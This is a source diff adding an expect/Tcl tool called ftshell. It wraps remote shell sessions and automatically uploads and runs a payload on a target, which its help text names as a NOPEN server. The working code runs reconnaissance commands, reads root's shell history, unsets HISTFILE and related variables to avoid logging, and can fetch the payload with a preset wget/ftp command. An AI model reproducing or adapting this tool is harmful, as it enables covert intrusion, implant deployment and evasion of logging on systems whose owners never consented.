/tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global usewhich + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + interactivebanner + send "\r" + expect -re $prompt + # this does nothing if dobash not set + execbash 0 + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usewhich + global usesetenv + global dothisreallyquiet + + stty raw -echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_user "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_user "ftshell : Processing upload\n" + +# dounsets + # this does nothing if dobash not set + execbash 0 + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "\r\n\r\nABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r\n\r\n" + send "${uRemoteUploadCommand}\r" + expect -re $prompt + } else { + if { [string length $uLocalFile] > 0 } { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } else { + + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { $uStayOn } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + B { + send_user "Switching to bash if we can" + execbash 1 + } + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~B switch to bash via exec bash/unsets if possible\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { +# set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$" + set prompt "\[ (>|%|:|#|\\$)]*.*(>|%|:|#|\\$)\[ ]*$" +# set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.10.3.5 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 +set donealready 0 +set bashcount 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -9 list Add the list of colon delimited paths to the PATH. + -B Try to exec bash if available. + -E Use \"setenv VAR val\" to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -w Use which (not type) to find target commands for upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U Execute the commands in the local file + /current/.ourtn-ftshell-upcommand on the target + to upload the file rather than the -u method. End result + must be that rname exists in /tmp. This will normally be a + wget or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, file + could just contain \"echo\", to basically do nothing at that + step. (ftshell -U option is used by ourtn -V.) + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +# my_script will be the file this window is scripted to, if any, with +# a "script -af file" command +set my_pid [exp_pid] +if [catch "exec which scriptcheck" msg] { + send_user "scriptcheck not in PATH\n" + set my_script "" +} else { + set my_script [exec scriptcheck] +} + +if [info exists env(SHOWTHIS)] { + set showthis "$env(SHOWTHIS)" +} else { + set showthis "" +} +send_user "+------------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+------------------------------------------------------\n" +sleep 1 +set my_script_firstline "" +if [string length $my_script] { + set my_script_firstline [exec grep -n "Welcome to ftshell v.$version" $my_script | tail -1 | cut -f 1 -d ":"] + send_user "window scripted to : $my_script (at line $my_script_firstline)\n" +} else { + send_user "ftshell : THIS IS NOT A SCRIPTED WINDOW\n" +} +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + # what if -I is an argument of something ftshell is wrapping? + # Then we fix it here. + if [regexp "(.*)\\-I (.*)" $ava ignore avaa avbb] { + set ava "$avaa $avbb" + set avb "-I $avb" + } + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-w (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -w : Using which instead of type\n" + set usewhich 1 +} else { + set usewhich 0 +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash 1 +} else { + set dobash 0 +} + +if [regexp "(.*)\\-9 ((\[^ \])*)(.*)" $argv ignore ava uPath ignore avb] { + set argv "$ava $avb" + # ourtn error checked this argument we will not +} else { + set uPath "" +} +set TheirPath "" +set PathSet 0 + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +set OtherUpload 0 + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + set argv "$ava $avb" + if { [string match "via*" $uLocalFile] } { + send_user "ftshell -u : uploading ${uLocalFile}\n" + set uLocalFile "" + set OtherUpload 1 + } else { + send_user "ftshell Local File : $uLocalFile\n" + } +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn 1 + set argv "$ava $avb" +} else { + set uStayOn 0 +} + +if [regexp "(.*)\\-U (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + if ![file exists /current/.ourtn-ftshell-upcommand] { + send_user "FATAL: Using -U option without /current/.ourtn-ftshell-upcommand\n\n" + exit 1 + } + set uRemoteUploadCommand "[exec cat /current/.ourtn-ftshell-upcommand]" + send_user "ftshell -U : Using preset upload string (next line)\n" + send_user " : $uRemoteUploadCommand\n" + if {[string compare $uRemoteUploadCommand ""] == 0} { + send_user "Could not find any remote upload command in /current/.ourtn-ftshell-upcommand (-U)" + exit 1 + } +} else { + set uRemoteUploadCommand "" +} + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { + processUpload +} else { + if { [string length $uRemoteUploadCommand] > 0 } { + processUpload + } else { + if { $OtherUpload } { + processUpload + } + } +} + +# if string length $uLocalFile > 0 || +# string length $uRemoteUploadCommand > 0 || +# $OtherUpload { +# processUpload +# } + +send_user "\n" +send_user "+-----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+-----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.10.3.7 b/Linux/bin/ftshell.v3.10.3.7 new file mode 100755 index 0000000..90c6de4 --- /dev/null +++ b/Linux/bin/ftshell.v3.10.3.7 @@ -0,0 +1,1221 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.51 $ + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + global sentLines + + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + # THIS IS BAD? we overwrite our local /etc/passwd if that's what we just got? + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + global sentLines + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + set sentLines [expr $sentLines + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate "< 1s -- likely buffered locally" + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + set dataRate "$dataRate B/s" + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " +# send "echo not doing stty -echo\r" + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + set sentLines 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { +exp_continue + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + global sentLines + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + +# send_verbose "remote pid is " +# send "echo $$\r" +# expect -re "(.*)\r\n.*$prompt" { +# set rpid $expect_out(1,string) +# } + + set uudecodePath "not found" + set perlPath "not found" + set uncompressPath "not found" + set gzipPath "not found" + + # This (may) avoids incorrectly NOT recognizing the output of type +# send "\r" +# expect -re $prompt + + send "type uudecode perl uncompress gzip\r" + # sleep may help avoid incorrectly NOT recognizing the output of type? + sleep 1 + expect -re "(.*)\r\n.*$prompt" { + regexp "uudecode is (/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "perl is (/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "uncompress is (/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "gzip is (/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if ![regexp "uudecode" $uudecodePath] { + if ![regexp "perl" $perlPath] { + send_verbose "type found no perl or uudecode...trying which instead\n" + send "setenv HOME \"\"\r" + sleep 1 + expect -re $prompt + send "HOME=\"\" export HOME\r" + sleep 1 + expect -re $prompt + send "which uudecode perl uncompress gzip\r" + expect -re "(.*)\r\n.*$prompt" { + regexp "(/\[^\r\n]*uudecode)" $expect_out(1,string) ignore uudecodePath + regexp "(/\[^\r\n]*perl)" $expect_out(1,string) ignore perlPath + regexp "(/\[^\r\n]*uncompress)" $expect_out(1,string) ignore uncompressPath + regexp "(/\[^\r\n]*gzip)" $expect_out(1,string) ignore gzipPath + } + if [regexp "no " $uudecodePath] { + set uudecodePath "Not found" + } + if [regexp "no " $perlPath] { + set perlPath "Not found" + } + if [regexp "no " $uncompressPath] { + set uncompressPath "Not found" + } + if [regexp "no " $gzipPath] { + set gzipPath "Not found" + } + } + } + + # This (may) avoids incorrectly NOT recognizing the output of type + send "\r" + expect -re $prompt + + send_verbose "\nPATH TO: uudecode $uudecodePath\n" + send_verbose "PATH TO: perl $perlPath\n" + send_verbose "PATH TO: uncompress $uncompressPath\n" + send_verbose "PATH TO: gzip $gzipPath\n\n" + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + send "stty echo\r" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" +# set remote_cmd "cat | tee /tmp/.tt.uu | $uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | tee /tmp/.t.$$.uu | wc -c" r] + gets $fp buf + send_user "$buf\n" + + # Issue remote command to recieve data + send_verbose "sending ...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + set sentLines 0 + +# set fp [open "|$local_cmd" r] + set fp [open "/tmp/.t.$$.uu" r] + #set blah [exec rm -f /current/tmp/t.uu] + #set lfp [open "/current/tmp/t.uu" w] + set bytesTransfered 0 + while 1 { + set buf "" + set len [gets $fp buf] + if {-1 == $len} break + if {$len > 0} { + send -- "$buf\n" + updateStatus "sent" [string length $buf] + } + } +# ## This was an attempt to throttle the throughput. With expect 5.42.1, +# ## something was causing introduction of crap or duplicate blocks +# ## of data, we thought maybe tty was overloaded. Turns out upgrading to +# ## version expect 5.43 fixed this problem. +# ## +# ## set send_slow {61 .011} +# # while 1 { +# # set buf "" +# # set len [gets $fp buf] +# # # ADD these only if ppp? +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # set blah [exec usleep 100] +# # if {-1 == $len} break +# # if {$len > 0} { +# # set ret [send -- "$buf\n"] +# # #puts $lfp "$buf" +# # # set blah [exec echo "$buf" >> /current/tmp/t.uu] +# # # set ret [puts "$buf"] +# # #set blah [exec echo len=$len send returns $ret >> /current/tmp/dammit] +# # } else { +# # # set blah [exec echo BAD len=$len send returns $ret >> /current/tmp/dammit] +# # } +# # # send -- "$buf\n" +# # updateStatus "sent" [string length $buf] +# # # Delay here keeps FC3 ftshell client in synch? +# # # set pausenow [expr $sentLines % 10] +# # # if {$pausenow == 0} { +# # # 20060303: Now we do this once per line +# # set blah [exec usleep 100] +# # #set blah [exec usleep 100] +# # #set blah [exec usleep 100] +# # # } +# # } + close $fp + exec rm -f /tmp/.t.$$.uu + #set blah [exec usleep 100] + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + send "ls -l $outfile*\r" + expect -re $prompt + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+-----------------------------------------------------\n" +} + +proc execbash {forced} { + global dobash + global prompt + global usesetenv + global bashcount + + # argument forced forces another exec bash even if + # $bashcount or !$dobash (allows ~~B to work). + + if { $bashcount && !$forced } { + return + } + if { $dobash || $forced } { + set bashcount [expr $bashcount + 1] + set findwith "which" + set setshell "SHELL=/bin/bash" + if ($usesetenv) { + set setshell "setenv SHELL /bin/bash" + } + dounsets + send "$findwith baash && $setshell && exec bash\r" + expect -re $prompt + dounsets + send "\[ \"\$BASH\" = \"/bin/bash\" -o \"\$SHELL\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } +} +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE HISTSIZE HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global donealready + global uPath + global TheirPath + global PathSet + global my_script + global my_script_firstline + global usesetenv + + dounsets + if { [string length $uPath] > 0 } { + if { $PathSet == 0 } { + if ($usesetenv) { + send "setenv PATH $uPath:\$PATH\r" + } else { + send "PATH=$uPath:\$PATH ; export PATH\r" + } + expect -re $prompt + send "echo PATH=\$PATH\r" + expect -re $prompt + } + set PathSet 1 + } + if { [string length $TheirPath] == 0 } { + system rm -f /current/tmp/ftshell.latest + if { $my_script_firstline > 0 } { + if ![file exists /current/tmp] { + system mkdir /current/tmp + } + if [catch "exec which fix-typescript" msg] { + send_user "\nftshell: fix-typescript not in PATH\n" + } else { + system fix-typescript $my_script 2>/dev/null | tail +$my_script_firstline > /current/tmp/ftshell.latest + } + } + if [catch "exec grep ^PATH /current/tmp/ftshell.latest | tail -1" msg] { + send_user "ftshell: Need fix-typescript in local PATH\n" + set TheirPath "" + } else { + set TheirPath "[exec grep ^PATH /current/tmp/ftshell.latest | tail -1]" + } + send_user "\nRemote PATH : $TheirPath\n" + } + + if { $donealready } { + return + } + set donealready 1 + send "pwd\r" + expect -re $prompt + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + send "w ; date ; date -u ; df -k ; uname -a ; cd /tmp ; pwd\r" + expect -re $prompt + } else { + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global usesetenv + + if { [string match "yes" $dodothis] } { + dothisfirst + } + interactivebanner + send "\r" + expect -re $prompt + # this does nothing if dobash not set + execbash 0 + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + global uRemoteUploadCommand + global dobash + global usesetenv + global dothisreallyquiet + + stty raw -echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + set dothisreallyquiet "yes" + send_user "\n\nUSER BREAK--ENTERING INTERACTIVE MODE (-Quietly)\n\n" + interactive + } + } + + send_user "ftshell : Processing upload\n" + +# dounsets + # this does nothing if dobash not set + execbash 0 + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteUploadCommand] > 0 } { + send "\r" + expect -re $prompt + send_verbose "\r\n\r\nABOUT TO UPLOAD $uRemoteFile via::${uRemoteUploadCommand}::\r\n\r\n" + send "${uRemoteUploadCommand}\r" + expect -re $prompt 